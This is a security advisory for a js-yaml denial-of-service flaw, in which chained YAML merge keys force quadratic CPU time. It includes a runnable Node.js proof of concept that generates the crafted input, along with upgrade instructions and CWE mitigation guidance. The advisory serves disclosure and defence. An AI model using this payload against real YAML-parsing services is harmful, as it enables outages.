GHSA-g796-fgmg-93mv CVE-2026-59868
js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
- Severity
- 5.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.64%
- Chance of exploitation in the next 30 days. Higher than 50.88% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- CWE-407 Inefficient Algorithmic Complexity
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
5.2.0- Upgrade js-yaml to this version or later
Description
Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
js-yaml npm → 5.2.0
- npm
npm install js-yaml@5.2.0- yarn
yarn add js-yaml@5.2.0- pnpm
pnpm add js-yaml@5.2.0
Severity breakdown
CVSS 3.1 5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
CWE-407: Inefficient Algorithmic Complexity
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-r3ph-w7gj-g6xm js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources | Medium | Also affects js-yaml |
| GHSA-2883-xcg3-v3hh js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources | High | Also affects js-yaml |
| GHSA-5p4m-2wfm-xmqj JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported | High | Also affects js-yaml |
| GHSA-pm4m-ph32-ghv5 js-yaml: Exponential parsing time in flow collections leads to denial of service | High | Also affects js-yaml |
| GHSA-724g-mxrg-4qvm js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA | High | Also affects js-yaml |
| GHSA-52cp-r559-cp3m js-yaml: YAML merge-key chains can force quadratic CPU consumption | High | Also affects js-yaml |
| GHSA-h67p-54hq-rp68 JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases | Medium | Also affects js-yaml |
| GHSA-mh29-5h37-fv8m js-yaml has prototype pollution in merge (<<) | Medium | Also affects js-yaml |
Credits: mazze93
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